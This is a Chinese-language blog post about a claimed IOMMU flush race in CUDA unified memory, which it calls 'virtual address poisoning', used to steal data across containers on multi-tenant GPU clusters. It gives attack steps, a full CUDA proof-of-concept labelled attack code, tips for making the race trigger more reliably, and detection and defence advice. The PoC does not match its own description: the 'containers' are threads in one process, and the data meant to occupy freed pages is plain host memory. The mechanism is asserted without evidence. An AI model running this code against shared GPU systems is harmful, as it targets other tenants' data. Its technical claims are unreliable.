Aug 10 2026 Off 摘要 NVIDIA GPUDirect RDMA 和 CUDA 统一内存允许 GPU 直接访问另一块 GPU 的显存,其底层依赖 IOMMU 将虚拟地址映射到物理页。然而,在统一内存页面迁移期间,旧物理页的 IOMMU 映射可能未被及时刷新,导致 GPU A 在释放本地缓存后仍可通过 GPU B 访问到已被重分配的系统内存。攻击者可利用这一“虚拟地址投毒”缺陷,在容器化的多租户 GPU 集群中实施跨 GPU 数据窃取——读取其他容器的模型参数或推理数据,彻底打破 GPU 内存隔离。 CUDA Unified Memory 与 IOMMU 的协同 统一内存的虚拟地址抽象CUDA 统一内存提供了一个单一的虚拟地址空间,CPU 和所有 GPU 均可访问。 当应用程序调用 cudaMallocManaged 分配统一内存时,CUDA 驱动在内部创建虚拟地址映射,但物理页最初可能仅在 CPU 端分配。当 GPU 第一次访问该地址时,触发缺页,驱动将页面迁移到 GPU 本地显存。后续若另一个 GPU 访问同一地址,页面可从第一个 GPU 的显存通过 NVLink 或 PCIe 直接迁移。CUDA 提供了 cudaMemPrefetchAsync 函数,允许程序主动将页面预取到指定设备的显存中,避免按需缺页延迟。当页面在设备间迁移时,旧设备上的物理页被释放,其虚拟地址映射被更新,指向新位置的物理页。此过程中,IOMMU 扮演关键角色:它负责将 GPU 发出的 PCIe 事务层包中的 I/O 虚拟地址转换为物理地址。若 IOMMU 的地址转换表项在页面迁移后未被同步刷新,旧映射可能残留,形成一个指向已释放物理页的“悬空”条目。GPU IOMMU 与 GMMU 的地址转换现代 NVIDIA GPU 使用 GPU 内存管理单元(GMMU)进行本地显存地址转换,而访问对等 GPU 的显存或系统内存时,需要通过 PCIe 链路,由根复合体端的 IOMMU 进行地址转换。GPU 发出的 DMA 请求携带 I/O 虚拟地址,IOMMU 根据设备 ID 和地址查找页表,将其转换为物理地址,并进行权限检查。在统一内存场景下,当页面从 GPU A 迁移到 GPU B 时,涉及以下步骤:在 GPU B 上分配新物理页,复制页面内容。更新 GPU A 的虚拟地址映射,使其指向新位置(通过 PCIe 事务通知或 GPU A 的页表更新)。释放 GPU A 上对应的旧物理页,此时该物理页被归还到内存池,可重新分配给其他用途。关键步骤:刷新 IOMMU 的地址转换缓存(TLB),确保 GPU A 的虚拟地址不再翻译为旧物理页。如果步骤 4 未能及时完成,或 GPU A 的某些内部缓存中仍保留旧映射,那么 GPU A 后续发出的内存访问请求可能在短时间内继续使用旧物理地址。攻击者可通过在另一个 GPU 或 CPU 上监控该物理页的新分配情况,来截获残留访问泄露的数据。 窗口与投毒 刷新延迟的根本原因IOMMU TLB 的刷新通常由操作系统通过 MMIO 写命令触发。对于 GPU 间对等访问,刷新路径涉及 GPU 驱动、Linux 内核的 dma_map_ops 框架以及 GPU 固件。在 Linux 内核中,dma_unmap_page 函数会向 IOMMU 发送无效化请求,但该请求是异步的,可能因批量处理或缓存一致性协议而延迟。此外,GPU 自身维护了一个内部的地址转换查找表(TLB),其刷新由 GPU 驱动通过 invalidate_tlb 命令流完成。如果 IOMMU 刷新与 GPU 内部 TLB 刷新没有原子性保证,在页面迁移后短时间内,GPU 内部的 TLB 可能已经更新,而 IOMMU 的 TLB 却还未失效,导致对旧物理地址的访问穿透到错误的内存。投毒与窃取在多 GPU 容器环境中,攻击者控制一个容器(容器 A),其中运行一个合法的 CUDA 应用,该应用分配统一内存并主动调用 cudaMemPrefetchAsync 在不同 GPU 之间频繁迁移页面。攻击者同时控制另一个容器(容器 B),运行一个监控进程,持续分配大量系统内存或统一内存,通过测量访问延迟或直接读取内容来探测那些可能已被释放但仍被容器 A 的 IOMMU 映射指向的物理页。 攻击步骤如下:布置诱饵:容器 A 在 GPU 0 上分配一个统一内存区域,填充敏感数据(例如密钥)。触发迁移:容器 A 调用 cudaMemPrefetchAsync 将页面迁移到 GPU 1,同时立即在 GPU 0 上释放该页面。投毒:在页面迁移的瞬间,攻击者通过容器 B 迅速分配大量统一内存页,尝试占位该释放的物理页。如果 IOMMU 刷新延迟,GPU 0 的内部 TLB 可能仍将原来的虚拟地址映射到该物理页,而此物理页现在被容器 B 的新分配占据。窃取:容器 A 上的 GPU 0 后续若再次访问该虚拟地址(由于缓存未命中),其请求通过残留的 IOMMU 映射,会读取到容器 B 写入的数据,反之亦然。攻击者可在容器 B 中读取自己分配的内存,如果其中出现了容器 A 的敏感数据,则表明窃取成功。更直接的窃取方式:容器 A 在释放页面后,主动触发 GPU 0 对该虚拟地址的读操作(例如执行一个 CUDA kernel),利用残留 IOMMU 映射将数据读回到容器 A 的用户缓冲区。由于物理页已被重分配给容器 B,容器 A 将看到容器 B 的数据,从而实现跨容器数据窃取。 利用 cudaMemPrefetch 制造竞争 以下代码在具有至少两块 NVIDIA GPU(支持 P2P)的 Linux 系统上运行。需要安装 CUDA Toolkit,并编译为独立的测试程序。环境准备确保两块 GPU 均支持 Unified Memory 和 P2P 访问。可使用 nvidia-smi topo -m 检查 P2P 可达性。关闭 ECC 或使用某些 GPU 模式可能会影响结果,但竞争条件依然存在。 nvcc -o gpu_poison gpu_poison.cu -lcuda 攻击代码 // gpu_poison.cu — GPU 统一内存 IOMMU 刷新缺陷验证 #include<cuda_runtime.h> #include<iostream> #include<cstring> #include<thread> #include<chrono> #define CHECK(call) do { \ cudaError_t err = call; \ if (err != cudaSuccess) { \ std::cerr << "CUDA error at " << __FILE__ << ":" << __LINE__ << " " \ << cudaGetErrorString(err) << std::endl; \ exit(1); \ } \ } while(0) // 在 GPU 0 上执行读取统一内存的 kernel __global__ voidread_kernel(constint* data, int* output, size_t n){ int idx = blockIdx.x * blockDim.x + threadIdx.x; if (idx < n) { output[idx] = data[idx]; } } // 容器 A:管理诱饵页面 voidcontainerA(int iterations){ constsize_t PAGE_SIZE = 2 * 1024 * 1024; // 2 MB constsize_t ELEMENTS = PAGE_SIZE / sizeof(int); int *unified_ptr = nullptr; int *output_host = newint[ELEMENTS]; int *output_dev = nullptr; // 分配统一内存,初始亲和性在 CPU CHECK(cudaMallocManaged(&unified_ptr, PAGE_SIZE)); // 初始化敏感数据 for (size_t i = 0; i < ELEMENTS; ++i) { unified_ptr[i] = 0xDEADBEEF; } CHECK(cudaMalloc(&output_dev, PAGE_SIZE)); for (int iter = 0; iter < iterations; ++iter) { // 将页面预取到 GPU 0 CHECK(cudaMemPrefetchAsync(unified_ptr, PAGE_SIZE, 0, 0)); CHECK(cudaDeviceSynchronize()); // 触发 GPU 0 读取,确保数据在 GPU 0 本地 read_kernel<<<256, 256>>>(unified_ptr, output_dev, ELEMENTS); CHECK(cudaDeviceSynchronize()); // 立即将页面迁移到 GPU 1 CHECK(cudaMemPrefetchAsync(unified_ptr, PAGE_SIZE, 1, 0)); // 不等待同步,立即释放 GPU 0 端映射(通过下一次迁移或显式释放?) // 此处制造竞争:在迁移尚未完全完成时,容器 A 的 GPU 0 再次尝试访问 // 通过另一个流发送读取 kernel cudaStream_t stream; CHECK(cudaStreamCreate(&stream)); read_kernel<<<256, 256, 0, stream>>>(unified_ptr, output_dev, ELEMENTS); // 不完全同步,让 kernel 在迁移过程中执行 cudaStreamSynchronize(stream); cudaStreamDestroy(stream); // 从 GPU 拷贝结果到主机,检查是否有异常值(不同于 0xDEADBEEF 或 0) CHECK(cudaMemcpy(output_host, output_dev, PAGE_SIZE, cudaMemcpyDeviceToHost)); for (size_t i = 0; i < ELEMENTS; ++i) { if (output_host[i] != 0xDEADBEEF && output_host[i] != 0) { std::cout << "[!] 数据泄露: 索引 " << i << " 期望 0xDEADBEEF, 读到 0x" << std::hex << output_host[i] << std::dec << std::endl; } } } cudaFree(unified_ptr); cudaFree(output_dev); delete[] output_host; } // 容器 B:分配大量内存以占位释放的物理页 voidcontainerB(){ constsize_t ALLOC_SIZE = 256 * 1024 * 1024; // 256 MB while (true) { int* dump = newint[ALLOC_SIZE / sizeof(int)]; for (size_t i = 0; i < ALLOC_SIZE / sizeof(int); ++i) { dump[i] = 0xCAFEBABE; // 填充特征值 } std::this_thread::sleep_for(std::chrono::milliseconds(100)); delete[] dump; } } intmain(){ int deviceCount; cudaGetDeviceCount(&deviceCount); if (deviceCount < 2) { std::cerr << "需要至少两块 GPU。" << std::endl; return1; } // 启用 P2P 访问 for (int i = 0; i < deviceCount; ++i) { cudaSetDevice(i); for (int j = 0; j < deviceCount; ++j) { if (i == j) continue; int canAccess = 0; cudaDeviceCanAccessPeer(&canAccess, i, j); if (canAccess) { cudaDeviceEnablePeerAccess(j, 0); } } } std::thread tA(containerA, 100); std::thread tB(containerB); tA.join(); tB.detach(); // 简单处理 std::cout << "测试完成。" << std::endl; return0; } 说明:该 PoC 通过快速迁移统一内存页面,并在迁移尚未完全结束时从旧设备发起读取,试图捕获由于 IOMMU 刷新延迟导致的旧物理页数据残留。容器 B 持续分配和释放内存,以增加物理页重用的概率。如果存在 IOMMU 刷新缺陷,容器 A 的输出中会出现 0xCAFEBABE 等不属于原敏感数据的值,表明读取到了容器 B 填充的数据,即发生了跨容器数据泄露。改进与验证在实际的多 GPU 环境中,由于 IOMMU 刷新通常极快,直接使用上述简单竞争可能难以稳定触发。需要增加压力:使用多个流连续进行迁移和访问,同时减小页面大小(如 4KB),增大迁移频率。可进一步利用 cudaMemAdvise 设置 cudaMemAdviseSetReadMostly 来改变 GPU 的缓存策略,延长映射残留时间。此外,可以利用 NVIDIA 的 nvidia-smi 监控 PCIe 流量,观察异常的内存访问模式。对于确切的漏洞验证,建议使用自定义内核模块注入 IOMMU 刷新延迟,但在未授权环境下仅作概念验证。 检测与防御 检测方法PCIe 访问模式分析:使用 nvidia-smi pmon 或 GPU 性能计数器,监控跨 GPU 的 P2P 读取突发与 IOMMU 映射刷新事件的不匹配。内存隔离审计:在多租户环境中,定期扫描 GPU 的虚拟地址映射,确认已释放页面的 IOMMU 映射是否已确实清除。异常数据检测:在应用层对统一内存区域进行校验和监控,若检测到非预期数据更改(例如模型权重突变),可能存在映射残留。防御措施强制同步刷新:在 GPU 驱动层面,确保 cudaMemPrefetchAsync 在页面迁移完成后,立即对旧设备执行 IOMMU TLB 刷新的同步操作(例如调用 dma_unmap_page 并等待完成)。禁用统一内存对等访问:对于非信任容器,通过 NVIDIA MIG 或 GPU 虚拟化禁止 P2P 访问,将每个 GPU 实例隔离,消除跨 GPU 映射。页面固定与零拷贝:避免使用统一内存的动态迁移,改为使用固定内存(pinned memory)并结合显式拷贝,由应用程序控制数据流,减少隐式迁移带来的窗口。内核更新:密切关注 NVIDIA 驱动和 Linux 内核中关于 IOMMU 刷新同步的补丁。CVE-2024-28185 类漏洞通常通过驱动更新修复。 结语 GPU 虚拟地址投毒本质上利用了统一内存在追求性能时所牺牲的时序安全性。IOMMU 刷新虽是微秒级的延迟,但在高频页面迁移和高密度多租户环境下,足以撕裂 GPU 间的内存隔离。攻击者不需要内核权限,仅凭合法的 CUDA API 调用即可在容器间投下“虚拟地址毒药”,窃取相邻容器的推理结果或训练数据。防御这一缺陷需要从 GPU 驱动的同步机制和隔离策略两方面入手,将 IOMMU 的刷新窗口彻底关闭,确保每一块释放的物理页都真正与虚拟地址告别。 Post navigation Previous PostPrevious DNSSEC 密钥标签碰撞